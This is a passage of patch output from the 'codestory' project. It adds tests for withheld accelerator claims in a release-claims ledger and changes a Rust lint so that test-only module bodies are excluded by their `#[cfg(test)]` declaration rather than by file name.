...resolveReleaseCellNonClaimConstraints(cell, attempt) } + : identityFor(cell, attempt); const evidenceType = graph.evidence_types.find(({ id }) => id === cell.evidence_type); const manifest = { schema: graph.closeout.manifest_schema, @@ -109,13 +144,14 @@ function manifestsFor(phase, prePublishLedger = null) { id: `${cell.id}-evidence`, type: cell.evidence_type, tier: evidenceType.tier, - status: "pass", + status: withheld ? "withheld" : "pass", graph_sha256: graphSha256, observed_at: observedAt, expires_at: expiresAt, identity, }, }; + if (withheld) manifest.non_claim = nonClaimFor(cell, host, attempt); if (cell.archive_role === "pre_publish") { manifest.archive = { name: archiveName(identity.target), @@ -139,11 +175,20 @@ function manifestsFor(phase, prePublishLedger = null) { }); } -function trustedProducersFor(phase) { +function trustedProducersFor(phase, withheldHost = null) { const artifactByName = new Map(); + const attempt = withheldHostList(withheldHost).length > 0 + ? String(nonClaimPolicy.maximum_run_attempts) + : "1"; let nextId = 1000; const producers = deriveReleaseCells(graph, phase).map((cell) => { - const constraints = resolveReleaseCellConstraints(cell, "1"); + const withheld = withheldHostOf(withheldHost, cell.id) !== null; + const constraints = withheld + ? { + ...resolveReleaseCellConstraints(cell, attempt), + ...resolveReleaseCellNonClaimConstraints(cell, attempt), + } + : resolveReleaseCellConstraints(cell, attempt); let artifact = artifactByName.get(constraints.producer_artifact); if (!artifact) { artifact = { @@ -161,11 +206,12 @@ function trustedProducersFor(phase) { } return { cell_id: cell.id, + ...(withheld ? { non_claim: true } : {}), producer_workflow: constraints.producer_workflow, producer_job: constraints.producer_job, producer_job_name: constraints.producer_job_name, producer_run_id: "12345", - producer_run_attempt: "1", + producer_run_attempt: attempt, producer_artifact: constraints.producer_artifact, artifact, job: { @@ -175,7 +221,7 @@ function trustedProducersFor(phase) { name: `Release / ${constraints.producer_job_name}`, status: "completed", conclusion: "success", - run_attempt: "1", + run_attempt: attempt, started_at: "2026-07-18T11:00:00.000Z", completed_at: "2026-07-18T11:10:00.000Z", }, @@ -188,7 +234,7 @@ function trustedProducersFor(phase) { graph_sha256: releaseClaimGraphDigest(graph), identity: gitIdentity, run_id: "12345", - current_run_attempt: "1", + current_run_attempt: attempt, producers, artifacts: [...artifactByName.values()], }; @@ -920,3 +966,330 @@ test("native-fingerprint reuse is still refused, and refused for the tree it can ); } }); + +// ── Withheld accelerator claims ───────────────────────────────────────────────────────────── + +const withheldAttempt = String(nonClaimPolicy.maximum_run_attempts); + +function withheldPrePublish() { + return { + manifests: manifestsFor("pre_publish", null, { attempt: withheldAttempt, withheldHost: linuxHost }), + trustedProducers: trustedProducersFor("pre_publish", linuxHost), + }; +} + +function cellOf(id) { + return deriveReleaseCells(graph, "post_publish").find(({ id: candidate }) => candidate === id); +} + +test("a lost host is recorded as an explicit withheld claim, never as a pass and never as a gap", () => { + const { manifests, trustedProducers } = withheldPrePublish(); + const result = evaluate("pre_publish", manifests, null, trustedProducers); + + // The release is not lost, but the accepted ledger says out loud what it did not prove. + assert.equal(result.decision, "accept"); + assert.deepEqual(result.summary.missing_cells, []); + assert.deepEqual(result.summary.failed_cells, []); + assert.deepEqual( + result.summary.withheld_cells, + ["accelerator_execution:linux-x64-vulkan", "candidate_installed_behavior:linux-x64"], + ); + assert.equal(result.summary.counts.withheld, 2); + // A withheld cell is never counted as proven. + assert.equal( + result.summary.counts.passed, + result.summary.counts.required - result.summary.counts.withheld, + ); + // Linux stopped proving the accelerator, but macOS and Windows did not, so the claim is named as + // partially withheld. `withheld_claims` stays literal: it is what nothing in the phase proved. + assert.ok(result.summary.partially_withheld_claims.includes("accelerator_execution")); + assert.deepEqual(result.summary.withheld_hosts, ["linux-x64-vulkan"]); + assert.equal(result.summary.withheld_claims.includes("accelerator_execution"), false); + + const row = result.ledger.cells.find(({ id }) => id === "accelerator_execution:linux-x64-vulkan"); + assert.equal(row.status, "withheld"); + assert.equal(row.non_claim.runtime_execution, "not_proven_by_package"); + assert.equal(row.non_claim.non_claim_reason, "accelerator_host_unavailable"); + assert.equal(row.non_claim.unavailable_producer_job_name, "Packaged Linux Vulkan engine"); + assert.deepEqual(row.withheld_claims, ["accelerator_execution", "package_identity", "source_behavior"]); + // The withheld row still names the host, backend, and target the missing proof would have used. + assert.equal(row.identity.backend, "Vulkan"); + assert.equal(row.identity.target, "linux-x64"); + assert.equal(row.identity.producer_job, nonClaimPolicy.producer_job); + + const evaluation = result.evaluations.get("accelerator_execution:linux-x64-vulkan").value; + assert.equal(evaluation.status, "withheld"); + assert.equal(evaluation.release_claim_evaluation, undefined); + + // Every host that did report is untouched and still passes on its own proof. + const windows = result.ledger.cells.find(({ id }) => id === "accelerator_execution:windows-x64-vulkan"); + assert.equal(windows.status, "pass"); + assert.equal(windows.non_claim, undefined); +}); + +test("nothing may pass on top of a withheld claim, and nothing else may be withheld", () => { + // Withhold only the accelerator cell and let everything the Linux host produces keep claiming a + // pass. Retrieval readiness rests on proven accelerator execution, so it must fail rather than + // inherit an unexamined pass. + const acceleratorOnly = { + ...linuxHost, + withheld_cells: ["accelerator_execution:linux-x64-vulkan"], + }; + const prePublish = evaluate( + "pre_publish", + manifestsFor("pre_publish", null, { attempt: withheldAttempt, withheldHost: acceleratorOnly }), + null, + trustedProducersFor("pre_publish", acceleratorOnly), + ); + const postManifests = manifestsFor("post_publish", prePublish.ledger, { + attempt: withheldAttempt, + withheldHost: acceleratorOnly, + }); + const cascaded = evaluate( + "post_publish", + postManifests, + prePublish.ledger, + trustedProducersFor("post_publish", acceleratorOnly), + ); + assert.equal( + cascaded.ledger.cells.find(({ id }) => id === "retrieval_readiness:linux-x64").status, + "fail", + ); + assert.ok(cascaded.evaluations.get("retrieval_readiness:linux-x64").value.failures.some((message) => + message.includes("is withheld"))); + assert.equal(cascaded.decision, "reject"); + + // A cell the graph never declared withholdable cannot be withheld into an accepted ledger. + const ineligible = withheldPrePublish(); + const source = ineligible.manifests.find(({ cell_id: id }) => id === "source_behavior"); + source.evidence.status = "withheld"; + source.non_claim = nonClaimFor(cellOf("source_behavior"), linuxHost, withheldAttempt); + const rejectedSource = evaluate("pre_publish", ineligible.manifests, null, ineligible.trustedProducers); + assert.equal(rejectedSource.decision, "reject"); + assert.ok(rejectedSource.evaluations.get("source_behavior").value.failures.some((message) => + message.includes("does not admit a withheld non-claim"))); + + // A withheld manifest paired with a real proof producer, or the reverse, is a mismatch. + const mismatch = withheldPrePublish(); + delete mismatch.trustedProducers.producers + .find(({ cell_id: id }) => id === "accelerator_execution:linux-x64-vulkan").non_claim; + const rejectedMismatch = evaluate("pre_publish", mismatch.manifests, null, mismatch.trustedProducers); + assert.equal(rejectedMismatch.decision, "reject"); + + const forged = withheldPrePublish(); + const proven = forged.manifests + .find(({ cell_id: id }) => id === "accelerator_execution:windows-x64-vulkan"); + proven.non_claim = nonClaimFor( + cellOf("accelerator_execution:windows-x64-vulkan"), + linuxHost, + withheldAttempt, + ); + const rejectedForged = evaluate("pre_publish", forged.manifests, null, forged.trustedProducers); + assert.equal(rejectedForged.decision, "reject"); + assert.ok(rejectedForged.evaluations.get("accelerator_execution:windows-x64-vulkan").value.failures + .some((message) => message.includes("only a withheld cell may carry a non-claim"))); +}); + +test("a withheld cell must carry a complete, unspent-bound, honest non-claim", () => { + const cellId = "accelerator_execution:linux-x64-vulkan"; + const cases = [ + ["absent non-claim", (manifest) => { + delete manifest.non_claim; + }, /non_claim must be an object/u], + ["downgraded runtime execution", (manifest) => { + manifest.non_claim.runtime_execution = "proven_by_package"; + }, /runtime_execution must equal not_proven_by_package/u], + ["invented reason", (manifest) => { + manifest.non_claim.non_claim_reason = "we_were_in_a_hurry"; + }, /non_claim_reason must equal accelerator_host_unavailable/u], + ["mis-quoted annotation", (manifest) => { + manifest.non_claim.annotation = "Process completed with exit code 1."; + }, /annotation must equal/u], + ["shrunken withheld claim list", (manifest) => { + manifest.non_claim.withheld_claims = ["accelerator_execution"]; + }, /withheld_claims must name/u], + ["unspent retry bound", (manifest) => { + manifest.non_claim.run_attempt = "1"; + }, /recovery bound/u], + ["wrong unavailable host", (manifest) => { + manifest.non_claim.unavailable_producer_job_name = "Packaged Windows Vulkan engine"; + }, /unavailable_producer_job_name must equal/u], + ]; + for (const [label, mutate, pattern] of cases) { + const { manifests, trustedProducers } = withheldPrePublish(); + mutate(manifests.find(({ cell_id: id }) => id === cellId)); + const result = evaluate("pre_publish", manifests, null, trustedProducers); + assert.equal(result.decision, "reject", label); + assert.equal(result.ledger.cells.find(({ id }) => id === cellId).status, "fail", label); + assert.ok( + result.evaluations.get(cellId).value.failures.some((message) => pattern.test(message)), + `${label}: ${JSON.stringify(result.evaluations.get(cellId).value.failures)}`, + ); + } +}); + +// ── The withhold cap ──────────────────────────────────────────────────────────────────────── + +const withholdPolicy = nonClaimPolicy.withhold_policy; + +function withheldPrePublishHosts(hosts) { + return { + manifests: manifestsFor("pre_publish", null, { attempt: withheldAttempt, withheldHost: hosts }), + trustedProducers: trustedProducersFor("pre_publish", hosts), + }; +} + +test("the withhold cap is graph data and leaves at least one protected host proven", () => { + assert.equal(withholdPolicy.maximum_withheld_hosts, 1); + assert.ok(withholdPolicy.maximum_withheld_hosts < nonClaimPolicy.hosts.length); + assert.ok(withholdPolicy.claims_requiring_proof.includes("accelerator_execution")); +}); + +test("a release that withholds every accelerator host is refused, not published", () => { + const { manifests, trustedProducers } = withheldPrePublishHosts(nonClaimPolicy.hosts); + const result = evaluate("pre_publish", manifests, null, trustedProducers); + + // The exact shape the reviewer published: six of ten required cells withheld and accepted. + assert.equal(result.summary.counts.withheld, 6); + assert.equal(result.summary.counts.failed, 0); + assert.equal(result.summary.counts.missing, 0); + assert.equal(result.decision, "reject"); + assert.deepEqual( + result.summary.withheld_hosts, + ["linux-x64-vulkan", "macos-arm64-metal", "windows-x64-vulkan"], + ); + // Refusal is a recorded state naming the cap it broke, never a silent absence. + assert.ok( + result.summary.input_errors.some((message) => /exceed the 1-host withhold cap/u.test(message)), + JSON.stringify(result.summary.input_errors), + ); + assert.ok( + result.summary.input_errors.some((message) => + message === "claim accelerator_execution requires proof but no cell proved it"), + JSON.stringify(result.summary.input_errors), + ); + assert.ok( + result.summary.input_errors.some((message) => + message === "claim installed_runtime_behavior requires proof but no cell proved it"), + JSON.stringify(result.summary.input_errors), + ); + assert.deepEqual(result.ledger.withhold_policy, { + claims_requiring_proof: [...withholdPolicy.claims_requiring_proof], + maximum_withheld_hosts: withholdPolicy.maximum_withheld_hosts, + }); +}); + +test("two withheld hosts already break the cap even though a third still proves the claim", () => { + const two = nonClaimPolicy.hosts.filter(({ id }) => id !== "windows-x64-vulkan"); + const { manifests, trustedProducers } = withheldPrePublishHosts(two); + const result = evaluate("pre_publish", manifests, null, trustedProducers); + assert.equal(result.summary.counts.withheld, 4); + assert.equal(result.decision, "reject"); + assert.deepEqual(result.summary.withheld_hosts, ["linux-x64-vulkan", "macos-arm64-metal"]); + assert.ok( + result.summary.input_errors.some((message) => + message === "withheld hosts linux-x64-vulkan, macos-arm64-metal exceed the 1-host withhold cap"), + JSON.stringify(result.summary.input_errors), + ); + // Windows still proved the accelerator, so the per-claim rule alone would not have caught this. + assert.ok( + !result.summary.input_errors.some((message) => /requires proof/u.test(message)), + JSON.stringify(result.summary.input_errors), + ); +}); + +test("a withheld cell never satisfies a claim the policy requires proof for", () => { + // One host is inside the cap, so only the per-claim rule can speak here: strip the two proving + // accelerator cells to missing and the withheld third must not stand in for them. + const { manifests, trustedProducers } = withheldPrePublish(); + const surviving = new Set([ + "accelerator_execution:macos-arm64-metal", + "accelerator_execution:windows-x64-vulkan", + ]); + const thinned = manifests.filter(({ cell_id: id }) => !surviving.has(id)); + const result = evaluate("pre_publish", thinned, null, trustedProducers); + assert.equal(result.decision, "reject"); + assert.deepEqual(result.summary.withheld_hosts, ["linux-x64-vulkan"]); + assert.ok( + result.summary.input_errors.some((message) => + message === "claim accelerator_execution requires proof but no cell proved it"), + JSON.stringify(result.summary.input_errors), + ); +}); + +test("the published platform notes state a withheld accelerator instead of asserting it", () => { + // End to end through the real programs: the real closeout writes a real ledger, and the real + // release-notes command reads it. The graph still says Linux is a Vulkan platform; only the + // ledger knows this release did not prove it, which is why the notes may not be rendered from + // the graph alone. + const { manifests, trustedProducers } = withheldPrePublish(); + const accepted = evaluate("pre_publish", manifests, null, trustedProducers); + assert.equal(accepted.decision, "accept"); + const out = mkdtempSync(path.join(os.tmpdir(), "codestory-withheld-notes-")); + writeReleaseCloseout(out, accepted); + + const render = (ledgerPath) => spawnSync( + process.execPath, + [ + path.join(root, "scripts/codestory-release-claims.mjs"), + "release-platform-notes", + "--ledger", + ledgerPath, + ], + { encoding: "utf8" }, + ); + const withheldNotes = render(path.join(out, "ledger.json")); + assert.equal(withheldNotes.status, 0, withheldNotes.stderr); + assert.match( + withheldNotes.stdout, + /^- Linux x64: Vulkan not proven for this release \(accelerator_host_unavailable\)$/mu, + ); + assert.equal(/^- Linux x64: supported with Vulkan$/mu.test(withheldNotes.stdout), false); + // The hosts that did prove their accelerator still say so. + assert.match(withheldNotes.stdout, /^- Windows x64: supported with Vulkan$/mu); + assert.match(withheldNotes.stdout, /^- macOS 15\+ on Apple Silicon: supported with Metal$/mu); + assert.match(withheldNotes.stdout, /release-closeout-summary\.json/u); + + // A fully proven release is unchanged, so the honest wording costs nothing when nothing was lost. + const provenOut = mkdtempSync(path.join(os.tmpdir(), "codestory-proven-notes-")); + writeReleaseCloseout(provenOut, evaluate("pre_publish", manifestsFor("pre_publish"))); + const provenNotes = render(path.join(provenOut, "ledger.json")); + assert.equal(provenNotes.status, 0, provenNotes.stderr); + assert.match(provenNotes.stdout, /^- Linux x64: supported with Vulkan$/mu); + assert.equal(/not proven for this release/u.test(provenNotes.stdout), false); + + // Without a ledger the command refuses outright: the graph alone can never publish a claim. + const ungrounded = spawnSync( + process.execPath, + [path.join(root, "scripts/codestory-release-claims.mjs"), "release-platform-notes"], + { encoding: "utf8" }, + ); + assert.notEqual(ungrounded.status, 0); + assert.match(ungrounded.stderr, /--ledger/u); +}); + +test("withheld_claims names only what nothing proved, and says so separately for the rest", () => { + const { manifests, trustedProducers } = withheldPrePublish(); + const result = evaluate("pre_publish", manifests, null, trustedProducers); + assert.equal(result.decision, "accept"); + + // package_identity:linux-x64 and source_behavior passed in this very ledger, so reporting their + // claims as withheld was the thing a reader could not take literally. + assert.deepEqual(result.summary.withheld_claims, []); + assert.deepEqual( + result.summary.partially_withheld_claims, + ["accelerator_execution", "installed_runtime_behavior", "package_identity", "source_behavior"], + ); + for (const claimId of result.summary.partially_withheld_claims) { + const proven = result.ledger.cells.filter(({ claim, status }) => + claim === claimId && new Set(["pass", "pass_with_exception"]).has(status)); + assert.ok(proven.length > 0, `${claimId} is reported partial but nothing proved it`); + } + // Together the two lists still name every claim a withheld cell rested on: nothing is dropped. + assert.deepEqual( + [...result.summary.withheld_claims, ...result.summary.partially_withheld_claims].sort(), + [...new Set(result.ledger.cells + .filter(({ status }) => status === "withheld") + .flatMap(({ withheld_claims: rows }) => rows))].sort(), + ); +}); diff --git a/scripts/tests/fixtures/release-claims/positive.json b/scripts/tests/fixtures/release-claims/positive.json index 08632e685..e562a368b 100644 --- a/scripts/tests/fixtures/release-claims/positive.json +++ b/scripts/tests/fixtures/release-claims/positive.json @@ -17,7 +17,7 @@ "type": "source_behavior", "tier": "source", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-16T11:00:00.000Z", "expires_at": "2026-07-17T11:00:00.000Z", "identity": { From 7259dc2e2f19ecb4758d03b192b74ecb0bcfa04b Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:16:23 -0500 Subject: [PATCH 039/132] exclude test module bodies by their declaration, not their file name The rebuild branch let the holdout-name pass skip any file named `tests.rs`, which is an opt-out anybody can take by renaming a shipped module. Read the parent's `mod` item instead: a body is skipped only when the declaration that pulls it in carries `#[cfg(test)]`, transitively through a parent that is itself test-only, which is the same thing `maskCfgTestItems` already does for inline `#[cfg(test)] mod` items. The narrowing applies to the holdout-name pass alone. The corpus-dependency pass keeps the exact 288-file set it scanned on dev, so nothing this lane does shrinks the linted surface. Guards: a `tests.rs` under crates/codestory-runtime/src that no parent declares `#[cfg(test)]` must be reported by both passes, and the same file name with and without `#[cfg(test)]` on its declaration must get opposite verdicts. The planted probe now cleans up through `Drop` so a red assertion cannot leave a stray module behind, and the lint lock is released before assertions again instead of swallowing poisoning. --- .../tests/retrieval_generalization_guard.rs | 220 +++++++++++++++--- scripts/lint-retrieval-generalization.mjs | 124 +++++++++- .../lint-retrieval-generalization.test.mjs | 51 +++- 3 files changed, 342 insertions(+), 53 deletions(-) diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 8ed9dd312..4d9d113be 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -74,7 +74,7 @@ fn run_lint_with_scan_root(repo_root: &Path, script: &Path, scan_root: &Path) -> let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .unwrap_or_else(|poisoned| poisoned.into_inner()); + .expect("lock lint script subprocess"); Command::new("node") .arg(script) .current_dir(repo_root) @@ -96,7 +96,10 @@ fn run_lint_with_named_fixtures(fixtures: &[(&str, &str)]) -> Output { let script = lint_script(&repo_root); let fixture_root = TempDir::new().expect("create fixture root"); for (name, contents) in fixtures { - std::fs::write(fixture_root.path().join(name), contents).expect("write fixture"); + let file_path = fixture_root.path().join(name); + std::fs::create_dir_all(file_path.parent().expect("fixture parent")) + .expect("create fixture parent"); + std::fs::write(file_path, contents).expect("write fixture"); } run_lint_with_scan_root(&repo_root, &script, fixture_root.path()) } @@ -116,7 +119,7 @@ fn run_lint_with_prompt_script_fixture(contents: &str) -> Output { let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .unwrap_or_else(|poisoned| poisoned.into_inner()); + .expect("lock lint script subprocess"); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -151,7 +154,7 @@ fn run_lint_with_non_rust_fixtures(fixtures: &[(&str, &str)]) -> Output { let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() - .unwrap_or_else(|poisoned| poisoned.into_inner()); + .expect("lock lint script subprocess"); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -173,19 +176,24 @@ fn retrieval_generalization_lint_script_exits_clean_with_extra_fixture_root() { let script = lint_script(&repo_root); let fixture_root = TempDir::new().expect("create fixture root"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .unwrap_or_else(|poisoned| poisoned.into_inner()); - let output = Command::new("node") - .arg(&script) - .current_dir(&repo_root) - .env( - "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_SCAN_ROOTS", - fixture_root.path(), - ) - .output() - .expect("run lint-retrieval-generalization.mjs"); + // The lock is released before the assertions: a failing assertion must + // report itself, not poison the mutex and turn every later guard test into + // a lock error that hides its own result. + let output = { + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + Command::new("node") + .arg(&script) + .current_dir(&repo_root) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_SCAN_ROOTS", + fixture_root.path(), + ) + .output() + .expect("run lint-retrieval-generalization.mjs") + }; let stdout = String::from_utf8_lossy(&output.stdout); let stderr = String::from_utf8_lossy(&output.stderr); assert!( @@ -840,33 +848,21 @@ fn linter_scans_every_runtime_source_file_for_holdout_names() { // were outside the banned-name scan, so an entry-point name catalog shipped // with this lint green. A file count cannot hold the scope -- any set of // files satisfies a count -- so assert that a file the lint has never been - // told about is scanned the moment it exists. + // told about is scanned the moment it exists. Only a file inside the real + // default scan roots can prove that; a temp fixture root proves the rule, + // not the scope, because it replaces those roots outright. let repo_root = workspace_root(); - let planted = repo_root - .join("crates") - .join("codestory-runtime") - .join("src") - .join("ranking_scope_probe_generated.rs"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .unwrap_or_else(|poisoned| poisoned.into_inner()); + let (baseline, planted_output) = run_default_lint_with_planted_source( + &repo_root, + Path::new("crates/codestory-runtime/src/ranking_scope_probe_generated.rs"), + "pub fn unlisted_ranking_module() -> &'static str { \"createApplication\" }\n", + ); - let baseline = run_default_lint(&repo_root); assert!( baseline.status.success(), "default lint run should pass, stderr={}", String::from_utf8_lossy(&baseline.stderr) ); - - fs::write( - &planted, - "pub fn unlisted_ranking_module() -> &'static str { \"createApplication\" }\n", - ) - .expect("plant unlisted ranking module"); - let planted_output = run_default_lint(&repo_root); - let _ = fs::remove_file(&planted); - let stderr = String::from_utf8_lossy(&planted_output.stderr); assert!( !planted_output.status.success(), @@ -878,6 +874,156 @@ fn linter_scans_every_runtime_source_file_for_holdout_names() { ); } +#[test] +fn linter_scans_a_tests_dot_rs_that_no_parent_declares_cfg_test() { + // The hole a `baseName == "tests.rs"` exclusion would open: any shipped + // module named `tests.rs` would leave the lint entirely, with nothing in + // the file itself marking it test-only. This probe is a plain module body + // that nothing declares under `#[cfg(test)]`, carrying both a holdout name + // and an eval-corpus path, so both passes have to reject it. + let repo_root = workspace_root(); + let (baseline, planted_output) = run_default_lint_with_planted_source( + &repo_root, + Path::new("crates/codestory-runtime/src/ranking_probe/tests.rs"), + concat!( + "pub fn ranking_probe_entry_points() -> [&'static str; 2] {\n", + " [\"createApplication\", \"benchmarks/tasks\"]\n", + "}\n" + ), + ); + + assert!( + baseline.status.success(), + "default lint run should pass, stderr={}", + String::from_utf8_lossy(&baseline.stderr) + ); + let stderr = String::from_utf8_lossy(&planted_output.stderr); + assert!( + !planted_output.status.success(), + "a `tests.rs` no parent marks `#[cfg(test)]` must stay linted, stderr={stderr}" + ); + assert!( + stderr.lines().any(|line| { + line.starts_with("Banned pattern") && line.contains("ranking_probe/tests.rs") + }), + "the holdout-name pass must report the planted module, stderr={stderr}" + ); + assert!( + stderr.lines().any(|line| { + line.starts_with("Production dependency on eval/query corpus") + && line.contains("ranking_probe/tests.rs") + }), + "the corpus pass must report the planted module, stderr={stderr}" + ); +} + +#[test] +fn linter_excludes_only_module_bodies_their_parent_declares_cfg_test() { + // The exclusion has to read the declaration, not the file name. Same file + // name, same banned contents, opposite verdicts - the only difference is + // whether the parent's `mod` item carries `#[cfg(test)]`. + let excluded = run_lint_with_named_fixtures(&[ + ( + "app.rs", + "pub fn shipped_entry() {}\n#[cfg(test)]\nmod tests;\n", + ), + ( + "app/tests.rs", + "const HOLDOUT: &str = \"createApplication\";\n", + ), + ]); + assert!( + excluded.status.success(), + "a module body declared `#[cfg(test)] mod tests;` is compiled out of the product, stderr={}", + String::from_utf8_lossy(&excluded.stderr) + ); + + let shipped = run_lint_with_named_fixtures(&[ + ("app.rs", "pub fn shipped_entry() {}\nmod tests;\n"), + ( + "app/tests.rs", + "const HOLDOUT: &str = \"createApplication\";\n", + ), + ]); + let stderr = String::from_utf8_lossy(&shipped.stderr); + assert!( + !shipped.status.success(), + "a module body declared with a plain `mod tests;` ships, so it stays linted, stderr={stderr}" + ); + assert!( + stderr.contains("app/tests.rs"), + "the lint should name the shipped module body, stderr={stderr}" + ); + + let orphan = run_lint_with_named_fixtures(&[( + "app/tests.rs", + "const HOLDOUT: &str = \"createApplication\";\n", + )]); + let stderr = String::from_utf8_lossy(&orphan.stderr); + assert!( + !orphan.status.success(), + "a `tests.rs` with no declaring parent at all must stay linted, stderr={stderr}" + ); +} + +/// Writes `contents` at `relative_path` inside the repository, runs the lint +/// with its real default scan roots before and after, and removes the planted +/// file (and any directory created for it) again, including on panic. +fn run_default_lint_with_planted_source( + repo_root: &Path, + relative_path: &Path, + contents: &str, +) -> (Output, Output) { + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + let baseline = run_default_lint(repo_root); + let planted = PlantedSource::write(repo_root.join(relative_path), contents); + let planted_output = run_default_lint(repo_root); + drop(planted); + (baseline, planted_output) +} + +/// A source file planted in the real tree for the duration of one assertion. +/// `Drop` runs while a failing assertion unwinds, so a red test cannot leave a +/// stray module behind for the next `cargo build` to trip over. +struct PlantedSource { + path: PathBuf, + created_directory: Option, +} + +impl PlantedSource { + fn write(path: PathBuf, contents: &str) -> Self { + assert!( + !path.exists(), + "planted probe would overwrite an existing file: {}", + path.display() + ); + let parent = path.parent().expect("planted probe parent").to_path_buf(); + let created_directory = if parent.exists() { + None + } else { + fs::create_dir_all(&parent).expect("create planted probe directory"); + Some(parent) + }; + fs::write(&path, contents).expect("plant probe source file"); + Self { + path, + created_directory, + } + } +} + +impl Drop for PlantedSource { + fn drop(&mut self) { + let _ = fs::remove_file(&self.path); + if let Some(directory) = &self.created_directory { + let _ = fs::remove_dir(directory); + } + } +} + fn run_default_lint(repo_root: &Path) -> Output { Command::new("node") .arg(lint_script(repo_root)) diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index 64b8f6a26..010534885 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -886,21 +886,127 @@ function escapeRegExp(value) { return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } -function isExcludedRustFile(filePath) { +function isExcludedRustFile(filePath, { excludeCfgTestModuleBodies = false } = {}) { const relative = path.relative(repoRoot, filePath); const segments = relative.split(path.sep); const baseName = path.basename(filePath); return ( segments.includes("tests") || baseName.endsWith("_tests.rs") - // A `tests.rs` beside a `mod tests;` is the module's test body, the same - // test surface as a `tests/` directory. `maskCfgTestItems` cannot see it - // because the `#[cfg(test)]` sits on the `mod` in the parent file. - || baseName === "tests.rs" + // An out-of-line module body whose declaration carries `#[cfg(test)]` is + // compiled out of the product, exactly like the inline `#[cfg(test)] mod` + // items `maskCfgTestItems` already blanks. `maskCfgTestItems` cannot reach + // it because the attribute lives in the *parent* file, so the holdout-name + // pass has to read the declaration. It must read the declaration and + // nothing else: excluding by file name instead (any `tests.rs`) would let a + // shipped module opt out of the whole lint by being renamed. The + // corpus-dependency pass keeps scanning these bodies, so this narrows one + // pass rather than shrinking the linted file set. + || (excludeCfgTestModuleBodies && isCfgTestModuleFile(filePath)) ); } -function walkRustProductionFiles(root) { +const cfgTestModuleFileCache = new Map(); + +/// True when `filePath` is the body of a module whose declaration in its parent +/// file is annotated `#[cfg(test)]`, or whose parent is itself such a body. +function isCfgTestModuleFile(filePath) { + const cached = cfgTestModuleFileCache.get(filePath); + if (cached !== undefined) { + return cached; + } + // Seeded before recursing so a malformed `a.rs`/`a/mod.rs` cycle terminates. + cfgTestModuleFileCache.set(filePath, false); + const resolved = resolveCfgTestModuleFile(filePath); + cfgTestModuleFileCache.set(filePath, resolved); + return resolved; +} + +function resolveCfgTestModuleFile(filePath) { + const baseName = path.basename(filePath); + if (!baseName.endsWith(".rs") || baseName === "lib.rs" || baseName === "main.rs") { + // Crate roots are named by Cargo, not declared by a parent module. + return false; + } + const directory = path.dirname(filePath); + const moduleName = baseName === "mod.rs" ? path.basename(directory) : baseName.slice(0, -3); + const parentDirectory = baseName === "mod.rs" ? path.dirname(directory) : directory; + if (!isRustIdentifier(moduleName)) { + return false; + } + // `mod foo;` in `/{mod,lib,main}.rs` and in the 2018-edition sibling + // `.rs` all resolve to the same child module. + const parentCandidates = [ + path.join(parentDirectory, "mod.rs"), + path.join(parentDirectory, "lib.rs"), + path.join(parentDirectory, "main.rs"), + `${parentDirectory}.rs`, + ]; + for (const parent of parentCandidates) { + if (parent === filePath || !existsSync(parent) || !statSync(parent).isFile()) { + continue; + } + const declarations = outOfLineModuleDeclarations(parent); + const declaration = declarations.get(moduleName); + if (declaration === undefined) { + continue; + } + if (declaration.cfgTest) { + return true; + } + // A module reached only through a parent that is itself compiled out under + // `#[cfg(test)]` is test-only too, however it is spelled. + if (isCfgTestModuleFile(parent)) { + return true; + } + } + return false; +} + +const outOfLineModuleDeclarationCache = new Map(); + +/// Map of `mod ;` declarations in one file to whether the declaration is +/// annotated `#[cfg(test)]`. +function outOfLineModuleDeclarations(filePath) { + const cached = outOfLineModuleDeclarationCache.get(filePath); + if (cached !== undefined) { + return cached; + } + const text = readFileSync(filePath, "utf8"); + const declarations = new Map(); + for (const [, visibility, name] of text.matchAll(outOfLineModuleDeclarationPattern)) { + if (!declarations.has(name)) { + declarations.set(name, { cfgTest: false, visibility }); + } + } + for (const group of findAttributeGroups(text)) { + if (!group.attributes.some((attribute) => attributeIsCfgTest(attribute.content))) { + continue; + } + const declared = declaredOutOfLineModuleName(text, group.itemStart); + if (declared !== null) { + declarations.set(declared, { cfgTest: true, visibility: null }); + } + } + outOfLineModuleDeclarationCache.set(filePath, declarations); + return declarations; +} + +const outOfLineModuleDeclarationPattern = + /(?:^|[;{}\s])(pub(?:\s*\([^)]*\))?\s+)?mod\s+(?:r#)?([A-Za-z_][A-Za-z0-9_]*)\s*;/g; + +function declaredOutOfLineModuleName(text, itemStart) { + const match = /^(?:pub(?:\s*\([^)]*\))?\s+)?mod\s+(?:r#)?([A-Za-z_][A-Za-z0-9_]*)\s*;/.exec( + text.slice(itemStart, itemStart + 256), + ); + return match ? match[1] : null; +} + +function isRustIdentifier(value) { + return /^[A-Za-z_][A-Za-z0-9_]*$/.test(value); +} + +function walkRustProductionFiles(root, options = {}) { if (!existsSync(root)) { return []; 